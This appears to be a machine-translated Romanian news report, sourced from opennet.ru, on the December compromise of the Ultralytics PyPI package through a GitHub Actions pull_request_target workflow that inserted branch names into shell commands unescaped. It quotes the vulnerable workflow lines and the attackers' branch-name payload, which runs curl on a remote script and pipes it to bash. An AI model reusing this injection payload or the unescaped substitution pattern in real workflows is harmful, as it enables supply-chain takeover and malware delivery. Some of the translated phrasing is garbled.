O eroare în gestionarea GitHub Actions a dus la publicarea versiunilor Ultralytics rău intenționate

Atacatorii au reușit să execute cod cu drepturi de gestionare GitHub Actions în depozitul de biblioteci Ultralytics Python, care este folosit pentru a rezolva probleme de viziune computerizată, cum ar fi detectarea obiectelor în imagini și segmentarea imaginilor. După ce au obținut acces la depozit, atacatorii au publicat câteva versiuni noi Ultralytics în directorul PyPI, care au inclus modificări rău intenționate pentru extragerea criptomonedei. În ultima lună, biblioteca Ultralytics a fost descărcată din catalogul PyPI de peste 6.4 milioane de ori.

Pentru a compromite depozitul, a fost folosită o vulnerabilitate în pachetul ultralytics-actions, care este folosit pentru a lansa automat handlere atunci când anumite acțiuni sunt efectuate pe un depozit de pe GitHub folosind mecanismul GitHub Actions. În proiectul ultralytics, handlerul vulnerabil a fost legat de evenimentul pull_request_target și a fost apelat când au sosit noi cereri de extragere. În special, pentru a formata codul în cererile de extragere trimise, a fost apelat handlerul format.yml și a fost executat codul specificat în secțiunea „run” a fișierului action.yml, care conținea comenzi shell cu modele de substituție: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name „${{ inputs.github_username }}” git config --global user.email „${{ inputs.github_email }}”

Astfel, numele ramului Git menționat în cererea de extragere a fost înlocuit în comenzile shell fără evadare adecvată. Este de remarcat faptul că în august, pachetul ultralytics-actions a remediat deja o vulnerabilitate similară asociată cu utilizarea unei valori externe în funcția echo: echo „github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

Pentru a organiza execuția codului lor în contextul handler-ului GitHub Actions, atacatorii au trimis o cerere de extragere la depozitul ultralitic, specificând următoarele ca nume de ramură: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

În consecință, atunci când a fost primită o cerere de extragere, în cod a fost inserat șirul specificat de atacator „$(…)”, care, atunci când handlerul a fost lansat ulterior, a condus la executarea codului „curl -sSfL raw.githubusercontent. com/…/file.sh | bash”.

 O eroare în gestionarea GitHub Actions a dus la publicarea versiunilor Ultralytics rău intenționate

Rularea codului în contextul GitHub Actions poate fi folosit pentru a captura token-ul de acces la depozit și alte date sensibile. Cum anume au reușit atacatorii să genereze o versiune, având capacitatea de a-și executa codul în GitHub Actions, nu este încă clar, se presupune că acest lucru a devenit posibil din cauza unei modificări în handler-ul publish.yml (atacatorii au eliminat verificarea; cont care are permisiunea de a publica versiuni în PyPI) și utilizarea tehnologiei otrăvitoare a cache-ului de compilare GitHub Actions pentru a vă introduce datele în versiune.

Prima versiune malițioasă a Ultralytics 8.3.41 a fost publicată de atacatori pe PyPI pe 4 decembrie, la ora 23:51 (MSK) și eliminată la ora 12:15 în ziua următoare. La ora 15:47, o altă versiune, 8.3.42, a fost publicată și eliminată la ora 16:47. Astfel, versiunile malițioase au fost disponibile pentru descărcare timp de aproximativ 13 ore (PyPI înregistrează aproximativ 250 de descărcări ale bibliotecii ultralytics pe zi). Versiunile 8.3.41 și 8.3.42 conțineau cod care se descărca de pe o sursă externă... Server Componentă XMRig pentru minarea criptomonedelor.

Dezvoltatorii proiectului au remediat problema și au creat versiuni corective 8.3.43 și 8.3.44, dar două zile mai târziu a fost efectuat un alt atac, în timpul căruia atacatorii au publicat două versiuni rău intenționate suplimentare astăzi la 04:41 și 05:27 (MSK) - 8.3.45 și 8.3.46, care includ alt cod minier. Până la sfârșitul investigației, utilizatorii sunt sfătuiți să amâne instalarea de noi versiuni și să repare versiunea 8.3.44 ca dependențe.

Sursa: opennet.ru

Cumpărați găzduire de încredere pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără găzduire web fiabilă cu protecție DDoS, servere VPS VDS | ProHoster